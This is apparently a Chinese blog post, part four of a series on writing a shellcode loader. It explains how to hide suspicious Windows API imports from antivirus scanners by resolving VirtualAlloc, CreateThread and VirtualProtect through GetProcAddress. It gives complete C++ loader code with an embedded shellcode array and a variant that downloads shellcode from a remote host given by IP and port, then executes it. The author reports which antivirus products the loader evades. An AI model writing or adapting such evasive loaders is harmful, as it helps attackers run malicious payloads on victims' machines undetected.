这是从0开始写ShellCode加载器的第4篇文章,文章列表,样本demo已上传到GitHub
杀毒软件扫描原理大体上可以分为三种,文件扫描,内存扫描,行为监控。其中文件和内存都是基于特征来进行扫描的。磁盘中的文件可以看作静态特征,内存中的数据可以看作动态特征。那么一个什么样的文件会被识别为病毒木马呢?
在开始此之前我们需要了解一些PE文件结构相关知识:导入地址表
Import Address Table 由于导入函数就是被程序调用但其执行代码又不在程序中的函数,这些函数的代码位于一个或者多个DLL 中,当PE 文件被装入内存的时候,Windows 装载器才将DLL 装入,并将调用导入函数的指令和函数实际所处的地址联系起来(动态连接),这操作就需要导入表完成.其中导入地址表就指示函数实际地址。 - 来源百度百科
我们经常听到导出表和导入表两个词,简单来说,导出表的功能是将自身的函数,类等资源供其它程序调用,提供这类功能的程序叫做动态链接库DLL。而导入表的功能帮助程序调用DLL中的资源。
关于PE文件结构的更多信息,可以到我这篇文章中查看。
我们来分析一下第一课代码编译出来的exe文件,使用PEview工具查看。
在文件的导入地址表中,代码中调用的api一览无遗,Virtual Alloc
、CreateThread
这类函数是杀毒软件重点关注的对象,一个几十kb的程序调用了这些函数,极有可能是木马病毒。
因此我们尝试在PE文件中抹去导入函数的名称。
我们尝试自己定义他们的函数指针,然后利用GetProcAddress
获取函数地址,调用自己的函数名称。
自定义函数指针
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41
|
typedef LPVOID(WINAPI* ImportVirtualAlloc)( LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect );
typedef HANDLE(WINAPI* ImportCreateThread)( LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, __drv_aliasesMem LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId);
typedef BOOL(WINAPI* ImportVirtualProtect)( LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect );
|
GetProcAddress
函数用法
1 2 3 4 5 6
| FARPROC GetProcAddress( [in] HMODULE hModule, [in] LPCSTR lpProcName );
|
然后在main
函数中,定义四个函数指针来存放这些函数的地址。
1 2 3 4
| ImportVirtualAlloc MyVirtualAlloc = (ImportVirtualAlloc)GetProcAddress(GetModuleHandle(TEXT("kernel32.dll")), "VirtualAlloc"); ImportCreateThread MyCreateThread = (ImportCreateThread)GetProcAddress(GetModuleHandle(TEXT("kernel32.dll")), "CreateThread"); ImportVirtualProtect MyVirtualProtect = (ImportVirtualProtect)GetProcAddress(GetModuleHandle(TEXT("kernel32.dll")), "VirtualProtect"); ImportWaitForSingleObject MyWaitForSingleObject = (ImportWaitForSingleObject)GetProcAddress(GetModuleHandle(TEXT("kernel32.dll")), "WaitForSingleObject");
|
接下来在代码中的函数换成自己定义的指针
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| int main(){ int shellcode_size = 0; DWORD dwThreadId; HANDLE hThread; DWORD dwOldProtect; char buf[] = "\xfc\xe8\x82\x0\x0\x0\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30\x8b\x52\xc\x8b\x52\x14\x8b\x72\x28\xf\xb7\x4a\x26\x31\xff\xac\x3c\x61\x7c\x2\x2c\x20\xc1\xcf\xd\x1\xc7\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x1\xd1\x51\x8b\x59\x20\x1\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x1\xd6\x31\xff\xac\xc1\xcf\xd\x1\xc7\x38\xe0\x75\xf6\x3\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x1\xd3\x66\x8b\xc\x4b\x8b\x58\x1c\x1\xd3\x8b\x4\x8b\x1\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb\x8d\x5d\x6a\x1\x8d\x85\xb2\x0\x0\x0\x50\x68\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x6\x7c\xa\x80\xfb\xe0\x75\x5\xbb\x47\x13\x72\x6f\x6a\x0\x53\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x0\x0"; shellcode_size = sizeof(buf);
char* shellcode = (char*)MyVirtualAlloc( NULL, shellcode_size, MEM_COMMIT, PAGE_READWRITE );
memcpy(shellcode, buf, shellcode_size); MyVirtualProtect(shellcode, shellcode_size, PAGE_EXECUTE, &dwOldProtect); hThread = MyCreateThread( NULL, NULL, (LPTHREAD_START_ROUTINE)shellcode, NULL, NULL, &dwThreadId ); MyWaitForSingleObject(hThread, INFINITE); return 0; }
|
再用peview查看一下新生成的程序
导入表中已经没有Virtual Alloc
、CreateThread
这些函数了
将隐藏导入表代码和分离免杀的代码合并。检验一下效果。火绒,360静动全过,defender静态过了,动态被杀。暂时不上传virustotal检测了,之前检测率7/65的木马,今天再上传已经是23/65了,看来杀软也在分析标记virustotal上的样本。除了颠覆性的技术出现让所有杀软都检测不出来,免杀大多数时候过主流杀软就可以了。
通过命令行参数将shellcode地址传给程序,避免暴露ip等信息。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| int main(int argc, char* argv[]) { if (argc != 4) { exit(0); } char* data; char *ip = argv[1]; int port = stoi(argv[2]); char *filename = argv[3]; data = WinGet(ip, port, filename); cout << "返回的数据为: " << data << endl; cout << argc; char* buf = StrToShellcode(data); load(buf, 2048); }
|